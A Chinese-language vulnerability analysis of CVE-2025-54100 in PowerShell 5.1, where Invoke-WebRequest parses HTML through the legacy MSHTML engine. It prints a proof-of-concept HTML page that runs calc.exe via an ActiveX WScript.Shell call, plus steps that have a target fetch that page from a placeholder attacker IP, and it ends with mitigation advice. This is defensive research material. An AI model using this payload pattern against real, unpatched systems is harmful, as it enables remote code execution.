目前,针对微软PowerShell中这个零日漏洞(CVE-2025-54100)的详细技术分析信息相对较少。根据官方发布的修复方案,该漏洞的成因与 Invoke-WebRequest 命令有关。

相关漏洞公告

漏洞修复指引
深入查阅资料后确认,此漏洞存在于 PowerShell 5.1 版本中。当使用 Invoke-WebRequest 命令且未指定 -UseBasicParsing 参数时,其默认会调用 Internet Explorer 的 MSHTML(Trident)引擎来完整解析 HTML 内容,进而可能导致远程代码执行(RCE)。
这里可能会产生疑问:Internet Explorer 的 MSHTML 是什么?
MSHTML 是微软的一个核心 COM 组件,全称为 Microsoft HTML Engine,通常也被称为 Trident 渲染引擎。可以将其理解为 Internet Explorer 浏览器的“心脏”,负责网页内容的核心解析与渲染工作。


根据微软技术文档,Invoke-WebRequest cmdlet 用于向网页或 Web 服务发送 HTTP/HTTPS 请求,并可以解析响应内容。
基本命令格式如下:
powershell Invoke-WebRequest -Uri "链接"
研究发现,PowerShell 在调用 Invoke-WebRequest 时,默认会加载一个名为 Microsoft.Mshtml.dll 的 COM 组件,该组件封装了老旧的 MSHTML (Trident) 引擎。

无论系统是否安装有 IE 浏览器,此组件都存在。问题的本质在于,为了兼容性而调用的这个旧版网页渲染引擎自身存在安全漏洞,从而被利用。
首先,我们验证 PowerShell 能否正常调用 mshtml.dll。由于 MSHTML 通过 COM 接口提供功能,我们可以尝试使用 PowerShell 的 New-Object cmdlet 来创建相关的 COM 对象进行测试。
测试步骤:
- 尝试创建一个
HTMLDocument COM 对象。
- 如果对象创建成功并能执行操作(如写入文件),则证明调用正常。


测试证实,可以成功创建并操作该 COM 对象。
接下来的利用思路是通过 mshtml.dll 执行命令(例如弹计算器)。需要注意的是,由于 ActiveXObject 技术目前已基本被弃用,即使通过 COM 组件加载,直接利用也常受限或无效。实际的漏洞利用存在诸多限制条件,这使其成为了安全研究和渗透测试中一个需要特定环境的技术点。
最终构造的 POC(概念验证)HTML 内容如下:
<!DOCTYPE html>
<html>
<head>
<title>Test</title>
</head>
<body>
<script>
try {
var shell = new ActiveXObject("WScript.Shell");
shell.Run("calc.exe");
} catch (e) {
alert("ActiveX is disabled or not available: " + e.message);
}
</script>
</body>
</html>
攻击复现步骤:
- 攻击者使用 Python 启动一个简单的 HTTP 服务器来托管上述恶意 HTML 文件。
python -m http.server 8080
- 在目标机器(PowerShell 5.1,且未打补丁)上执行以下命令:
powershell Invoke-WebRequest -Uri "http://<攻击者IP>:8080/恶意网页.html"

关键安全交互提示:
在执行上述漏洞命令时,PowerShell 可能会弹出以下警告:
是否继续当前操作?[Y] 是 [N] 否 (默认否)」
- 选「Y」:继续使用高风险的 IE 引擎(触发漏洞)。
- 选「N」或直接回车:命令中止,这是强制转向安全解析方式的一种防护。

从响应包中可以看到,进程成功加载了 mshtml.HTMLDocumentClass,证实了漏洞触发的路径。
修复与缓解建议:
在进行任何网页内容获取操作时,强烈建议使用 -UseBasicParsing 参数。该参数会禁用完整的 HTML 解析与脚本执行功能,从而避免调用存在漏洞的 MSHTML 引擎,这是最直接有效的网络安全防护措施。
命令示例:
powershell Invoke-WebRequest -Uri "链接" -UseBasicParsing